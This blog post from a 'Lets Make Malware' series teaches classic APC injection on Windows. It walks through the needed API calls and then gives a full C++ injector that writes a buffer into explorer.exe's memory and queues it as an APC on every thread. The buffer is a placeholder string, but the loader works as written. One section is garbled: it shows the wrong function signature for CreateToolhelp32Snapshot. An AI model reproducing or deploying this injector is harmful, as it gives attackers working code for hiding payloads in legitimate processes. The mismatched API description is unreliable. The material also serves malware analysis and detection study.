Reprogrammed

Lets Make Malware – Classic APC Injection

Lets Make Malware

Preamble

This week, we are going to cover process injection using APC Queues, also known as APC Injection.

So, first things first, what is APC and what are APC queues? APC stands for Asynchronous Procedure Calls, and they essentially do what it sounds like. If you do not have a background in Computer Science, however, that still may not mean much to you.

To make things clear, asynchronous procedure calls are a way to run (call) functions (procedures) asynchronously. That is (to use more Computer Science terminology) running functions, concurrently, but not in parallel. Effectively, we are telling the OS we want to schedule a function to run later that we don’t want to wait on to finish so we can do other things in the meantime.

A real-world example of this (concurrency) would be if we are cooking dinner, and we have chicken baking in the oven, we can either wait for the chicken to finish before we start making our side dishes or we can start preparing while we wait. Preparing our side dishes while our chicken is baking is concurrency, or asynchronous.

With that in mind, APC Queues are, as the name suggests, queues of APC calls to be made. In Windows, each thread has its own APC queue.

As a recap, threads are the workers, not processes. Processes are like the office building. They hold everything we need to do our job.

One thing to note, however, is that unlike in our previous posts, with classic APC Injection we do not control when our malicious code runs. Once in the thread’s queue, APC calls are made when the thread is in an “alertable” state.

What that essentially means is one of the following API functions had to have been, or will be, called in our target process.

These functions are SleepEx, WaitForSingleObjectEx, WaitForMultipleObjectsEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WSAWaitForMultipleEvents, GetQueuedCompletionStatusEx, and GetOverlappedResultEx.

So, how do we find out if a thread in our target process is in an alertable state? There are the methods described in this post, however, we will not be covering those as they require a bit of an understanding of Computer Architecture.

Instead, we will use the “spray and pray” method. In other words, we will be injecting into every thread in our target process. We can be fairly certain at least one of them will enter an alertable state.

The obvious downside to this is that without taking additional steps, our shellcode will (likely) be executed multiple times.

So, with that out of the way, let’s make malware (again)!

Overview

To perform APC Injection, we will need 10 different Windows API calls. Some of these we have covered before and some are brand new. These 10 calls are CreateToolhelp32Snapshot, Process32First, Process32Next, OpenProcess, VirtualAllocEx, WriteProcessMemory, Thread32First, Thread32Next, OpenThread, and QueueUserAPC.

CreateToolhelp32Snapshot

As MSDN puts it, “Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.

It is defined like so:

BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

As we can see, it takes just two parameters: dwFlags and th32ProcessID.

dwFlags is what we want to include in the snapshot. There are a lot of different options here, but we want TH32CS_SNAPPROCESS and TH32CS_SNAPTHREAD. These two will show us all processes and threads.

Th32ProcessID is the PID of the specific process we want in the snapshot. It only applies when certain dwFlags values are set. Our values are not one of those, so this parameter gets ignored no matter what we set it to. We will set it to zero.

HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);

Process32First

Again, we will let MSDN define it. This function “Retrieves information about the first process encountered in a system snapshot.

BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

It also takes just two parameters. These are hSnapshot and lppe.

hSnapshot is a handle to a snapshot. This is what was returned by the previous function.

lppe is a pointer to a PROCESSENTRY32 structure. As we have not covered things like pointers and structures before, we will cover them very briefly.

A pointer is simply the memory address of another thing. In this case, it is the memory address of the PROCESSENTRY32 structure. The Windows HANDLE type, itself, is a pointer.

A structure is essentially a grouping of related data. It is similar to classes in other languages, and is effectively the precursor to such. The difference being that structures cannot contain functions or methods.

So, in this case, the PROCESSENTRY32 structure is a grouping of data related to processes.

Our call to this function will look like so: Process32First(snap, &pEntry)

Process32Next

This one is simple. It gets information about the next process in a snapshot.

BOOL Process32Next(
  [in]  HANDLE           hSnapshot,
  [out] LPPROCESSENTRY32 lppe
);

It takes the same two parameters as before. We will also use it the same way.

Process32Next(snap, &pEntry)

OpenProcess

This one, we have covered before, so we won’t cover it again. It returns a handle to a process that we can pass to other functions to do various things.

VirtualAllocEx

This one has also been covered previously. It lets us allocate memory in remote processes.

WriteProcessMemory

Another API call that has been covered. This one lets us write data to memory in a remote process. We will, of course, use this to write to the memory region we created with the previous call to VirtualAllocEx.

Thread32First

Retrieves information about the first thread of any process encountered in a system snapshot.

It looks like this:

BOOL Thread32First(
  [in]      HANDLE          hSnapshot,
  [in, out] LPTHREADENTRY32 lpte
);

It works very similarly to the Process32First function. There are two parameters: hSnapshot, the same snapshot handle we have been using in other function calls, and lpte, a pointer to a THREADENTRY32 structure.

We will use it like so Thread32First(snap, &tEntry).

Thread32Next

Again, this is very similar to the Process32Next and Thread32First functions. It gets information about the next thread of a process.

BOOL Thread32Next(
  [in]  HANDLE          hSnapshot,
  [out] LPTHREADENTRY32 lpte
);

There are two parameters. These are the same two as in the Thread32First function.

We will also use it the same way. Thread32Next(snap, &tEntry)

OpenThread

A very simple function to explain. This one is the thread-equivalent function to OpenProcess. It gets a handle to a thread. Simple.

HANDLE OpenThread(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwThreadId
);

There are 3 parameters.

The first, dwDesiredAccess, is the access we want to request. There are a few different values we can choose from, but in this case we will use THREAD_ALL_ACCESS.

The second parameter, bInheritHandle, is best explained by MSDN. “If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.

We will set it to TRUE for our purposes.

Lastly, dwThreadId, is what it sounds like. This is our thread id.

How we will use it: OpenThread(THREAD_ALL_ACCESS, TRUE, tID);

QueueUserAPC

Finally, we have the last API function we need.

Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.

It is defined like so:

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

As we can see, there are 3 parameters.

The first, pfnAPC, is the function we want to be called. Simple.

The second, hThread, is a handle to the thread. We received this from our call to OpenThread.

The third, dwData, is best explained by MSDN: “A single value that is passed to the APC function pointed to by the pfnAPC parameter.

Unnecessary for our purposes, so we will set it to NULL.

And with that we have everything we need to get started.

All together

Note: because 90% of the code will be extremely similar in most cases (we are using defined API calls to perform something well-researched and known in a particular manner after all) , we will just use a template from ired.team. Full credits to them.

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
	unsigned char buf[] = "Never trust random blobs of shellcode you find on the Internet";

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
	HANDLE victimProcess = NULL;
	PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
	THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
	std::vector<DWORD> threadIds;
	SIZE_T shellSize = sizeof(buf);
	HANDLE threadHandle = NULL;

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}
	
	victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

	if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}
	
	for (DWORD threadId : threadIds) {
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
		Sleep(1000 * 2);
	}
	
	return 0;
}

Next week, we will cover some alternatives, but that’s it for now.

Resources

MSDN: QueueUserAPC

MSDN: OpenThread

MSDN: Thread32Next

MSDN: Thread32First

MSDN: Process32First

MSDN: Process32Next

MSDN: CreateToolhelp32Snapshot

MSDN: VirtualAllocEx

MSDN: WriteProcessMemory

MSDN: OpenProcess

WikiBooks: Data Types